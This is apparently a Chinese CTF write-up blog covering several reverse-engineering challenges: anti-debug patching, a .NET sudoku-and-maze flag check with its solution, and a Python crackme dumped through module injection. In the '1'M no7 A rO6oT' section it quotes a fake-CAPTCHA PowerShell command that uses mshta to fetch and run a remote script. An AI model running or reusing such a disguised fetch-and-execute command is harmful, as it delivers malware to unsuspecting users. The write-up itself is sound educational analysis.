8
[LilCTF]Qt_Creator
这道题感觉捷径是视奸作者的博客
在03篇提到了这个register

看到这个就知道是明文对比,通过ciallo找到这个函数
前面有反调试

patch一下


a1就是flag
其实看函数的话用ida9和博客几乎一样,但是我ida9无法调试出来


这个样子我真的没招了
[LilCTF]1'M no7 A rO6oT
参考wp:http://20.2.36.130/2025/08/18/lilctf2025-qwer-writeup/#toc-head-3
https://2hi5hu.cn/archives/lilctf2025#1m-no7-a-ro6ot
https://blog.rkk.moe/2025/08/18/LilCTF-2025-Writeup/#1’M-no7-A-rO6oT
此题展现ai神力,一步步还原

点击验证会复制下面的内容,或者直接查看都能看到mp3文件
powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 http://gz.imxbt.cn:20083/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086
下载文件

文件内部有script代码

控制台运行查看SxhM,每个数减601,再解

hex异或204

有一张图片

查看文件内容又是可经过混淆的

[KCTF 2024]第二题 星际生物
ida打开是IL代码,换成dnspy,搜索main

验证flag{}格式
接下来是数独验证
$ArrayType$$$BY0EA@E $ArrayType$$$BY0EA@E;
cpblk(ref $ArrayType$$$BY0EA@E, ref $ArrayType$$$BY0BAA@D + 5, 64);//从内存位置$ArrayType$$$BY0BAA@D + 5复制64字节到$ArrayType$$$BY0EA@E
uint num = 0U;
uint num2 = 0U;
$ArrayType$$$BY188E* ptr2 = &<Module>.sudoku;
do
{
uint num3 = 0U;
$ArrayType$$$BY188E* ptr3 = ptr2;
do
{
if (*(byte*)ptr3 == 15) // 如果当前单元格是占位符(15)
{
byte b = *((ulong)num + ref $ArrayType$$$BY0EA@E); // 从输入中读取一个字符
if (b < 48 || b > 57) // 如果不是数字(ASCII '0'到'9')
{
goto IL_109; // 跳转到错误处理(未显示)
}
*(byte*)ptr3 = b - 48; // 将ASCII数字转换为实际数字(0-9)
num += 1U; // 移动到输入的下一个字符
}
num3 += 1U;
ptr3 += 1; // 移动到下一列
}
while (num3 < 9U); // 遍历一行中的9列
num2 += 1U;
ptr2 += 9; // 移动到下一行
}
while (num2 < 9U); // 遍历9行
//检查行有效性
uint num4 = 1U; // 假设有效
// ... 初始化变量 ...
while (num4 == 1U) // 如果仍然有效
{
// 对于每一行...
long num8 = 0L;
uint num9 = 1U;
while (num4 == 1U)
{
uint num10 = num9;
if (num9 < 9U)
{
long num11 = (long)((ulong)num9);
byte b2 = *(num7 + num8 + ref <Module>.sudoku); // 获取当前单元格的值
num4 = 1U;
$ArrayType$$$BY188E* ptr4 = num7 + num11 + ref <Module>.sudoku;
// 检查同一行中是否有重复数字
while (b2 != *(byte*)ptr4) // 如果不重复,继续检查
{
num10 += 1U;
ptr4 += 1;
if (num10 >= 9U) // 如果没有找到重复,退出内层循环
{
goto IL_17F;
}
}
num4 = 0U; // 找到重复,标记为无效
}
IL_17F:
num9 += 1U;
num8 += 1L;
if (num9 - 1U >= 9U) // 遍历完一行?
break;
}
num6 += 1U;
num7 += 9L; // 移动到下一行
if (num6 >= 9U) // 遍历完所有行?
break;
}
//检查列有效性
uint num12 = 0U;
long num13 = 0L;
while (num5 == 1U) // 如果仍然有效
{
// 对于每一列...
uint num14 = 1U;
$ArrayType$$$BY188E* ptr5 = num13 + ref <Module>.sudoku; // 指向当前列第一行
while (num5 == 1U)
{
uint num15 = num14;
if (num14 < 9U)
{
$ArrayType$$$BY188E* ptr6 = num14;
byte b3 = *(byte*)ptr5; // 获取当前单元格的值
num5 = 1U;
$ArrayType$$$BY188E* ptr7 = ptr6 * 9L + num13 / ... + ref <Module>.sudoku; // 计算同一列中下一行的位置
// 检查同一列中是否有重复数字
while (b3 != *(byte*)ptr7) // 如果不重复,继续检查
{
num15 += 1U;
ptr7 += 9; // 移动到下一行
if (num15 >= 9U) // 如果没有找到重复,退出
{
goto IL_209;
}
}
num5 = 0U; // 找到重复,标记无效
}
IL_209:
num14 += 1U;
ptr5 += 9; // 移动到下一行(同一列)
if (num14 - 1U >= 9U) // 遍历完一列?
break;
}
num12 += 1U;
num13 += 1L; // 移动到下一列
if (num12 >= 9U) // 遍历完所有列?
break;
}
查看sudoku对应的初始值

偏移0x10800

求解数独

34689155813271746868579324125982187492581517263447389126

创建迷宫

'''
33 !;43 +;45 -;63 ?
!-?+
++-+
-+++
+--+
'''
用ADSW走迷宫,'-'不能走,最终要走到'?'
'SDSDDWWA'
flag:'flag{34689155813271746868579324125982187492581517263447389126SDSDDWWA}'
[KCTF 2024] 第四题 神秘信号
常规解包,反编译main.pyc
import CrackMe
while True:
print('(账号密码由字母大小写、数字、!、空格组成)')
print('请输入账号:')
h = input()
z = CrackMe.main(h)
if len(z) < 20:
key = 'dZpKdrsiB6cndrGY' + z
else:
key = z[0:4] + 'dZpK' + z[4:8] + 'drsi' + z[8:12] + 'B6cn' + z[12:16] + 'drGY' + z[16:]
print('请输入验证码:')
h = input()
m = CrackMe.main(h)
if key == m:
print('Success')
break
print('Fail')
输入账号->CrackMe.main处理->组合成key->比较
如果解题的话就已经出来了
账号:D7C4197AF0806891
验证码:D7CHel419lo 7AFWor080ld!6891
观察发现3个一组,将Hello World!与账号结合
h = input()
z = CrackMe.main(h)
加入h长度位3,z长度为4,所以 KCTF 经过变化长度小于20,那验证码为'Hello World!KCTF'
常规一点:
参考:https://bbs.kanxue.com/thread-283037.htm
运行main.exe,用Process Monitor查看进程

看到这里被加载?(运行?),可以用这两个文件注入,将原来的pyd删除,再补上自己的py文件
import CrackMe
print(CrackMe)
运行main.exe,查看模块对象信息

发现是base64.pyc,反编译

在末尾有自定义内容,这也是这里的base64.py比标准的多了一个'a',为了保证结果准确,用py文件的hook并且dump出来
import CrackMe
import marshal
import importlib
code = CrackMe.main.__code__
marshal_data = marshal.dumps(code)
pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code)
with open("crackme_main.marshal", "wb") as f:
f.write(marshal_data)
with open("crackme_main.pyc", "wb") as f:
f.write(pyc_data)
反编译得到的pyc
encoded_str = ''
padding = 0
base64_chars = 'ZQ+U7tSBEKVzyf5coCwb94Dd6raT0eLNin12Hp8mOxFuvMgIPlhRY3WjksqJAXG/' #修改编码表
ww = b''
for i in data:
i = i ^ 85 #异或
ww = ww + i.to_bytes(1, 'little')
data = ww
for i in range(0, len(data), 3):
chunk = data[i:i + 3]
def (.0):
"""08b""" # inserted
if False: yield # inserted
return .0((format(byte, '08b') for byte in 1))
for j in range(0, len(binary_str), 6):
six_bits = binary_str[j:j + 6]
if len(six_bits) < 6:
padding += 6 - len(six_bits)
six_bits += '0' * (6 - len(six_bits))
encoded_str += base64_chars[int(six_bits, 2)]
encoded_str += '!' * (padding // 2) #用'!'填充
for i in range(len(encoded_str) // 2):#两两交换位置
a = encoded_str[i * 2]
b = encoded_str[i * 2 + 1]
encoded_str = encoded_str[:i * 2] + b + a + encoded_str[i * 2 + 2:]
但是还是不对,后面有点太深入了,就没有继续
codecs.pyc反编译也能证明当输入import CrackMe就会 变成import base64
_find_and_load_unlocked:导入机制核心内部函数,根据模块名(name)找到并实际加载(load)模块

浙公网安备 33010602011771号